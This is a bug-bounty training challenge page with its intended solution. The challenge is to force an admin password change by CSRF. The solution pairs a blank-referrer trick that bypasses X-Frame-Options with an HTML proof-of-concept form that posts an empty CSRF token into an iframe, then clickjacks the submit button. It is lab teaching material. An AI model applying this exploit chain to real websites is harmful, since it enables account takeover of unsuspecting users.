Our challenges do NOT require any bruteforcing/directory fuzzing/massive amounts of traffic. Please practise hacking on our challenges manually.
Failure to abide by the rules will put you at risk of being restricted from using our free challenges.
There's cross site request forgery (CSRF) protection, but how good is it?
Cross Site Request Forgery (CSRF)
Can you successfully force the admin password to be updated via CSRF? This means you must be on YOUR site and be able to force the data to be updated successfully.
The CSRF token generated is unique to your session so you must be able to send anyone a proof of concept and force the admin password to be changed.
Completed the challenge?
You can browse the intended solution to this challenge below.
The CSRF token on this page is unique to each users session, meaning in a real-life scenario you wouldn't be allowed to use another users' token. The idea behind this challenge was to get people to think about how to "somehow" force an admin to update their password. Get creative.
Enter CSRF -> clickjacking.
If you try iframe https://www.bugbountytraining.com/challenges/challenge-3.php then you'll notice the header
X-Frame-Options:DENY, however send a blank referrer and the header is not there. But, how do we send a blank referer?
The code above with data: will send a blank referrer and allow it to be iframed. So how to exploit?
Send the POST to an IFRAME and then we can clickjack the "submit" button.
<form name="csrfform" style="display:none" target="myform" method="POST" action="https://www.bugbountytraining.com/challenges/challenge-3.php">
<input type="email" name="username" value="[email protected]">
<input type="text" name="password" value="example123">
<input type="text" name="csrf-token" value="">
<input type="submit" value="Send">
<iframe name="myform" src="https://www.bugbountytraining.com/challenges/challenge-3.php"></iframe>
Fully working POC (ON FIREFOX)
Use this PoC on firefox:
- Turn on BURP
- Visit POC and press 'SEND'
- Notice in the request, a request was sent with a BLANK csrf token, but it still reflected our changes.
- Now press 'SUBMIT QUERY' (which is iframed on the page) and monitor the request and you'll see you just changed the admin password.
How does this work? Sometimes when sending a blank CSRF token websites will still fill in your desired inputs (in our case, it still reflects the intended password change but with an error). We then force the user to click 'submit' via clickjack and thus, we have just changed their password via CSRF!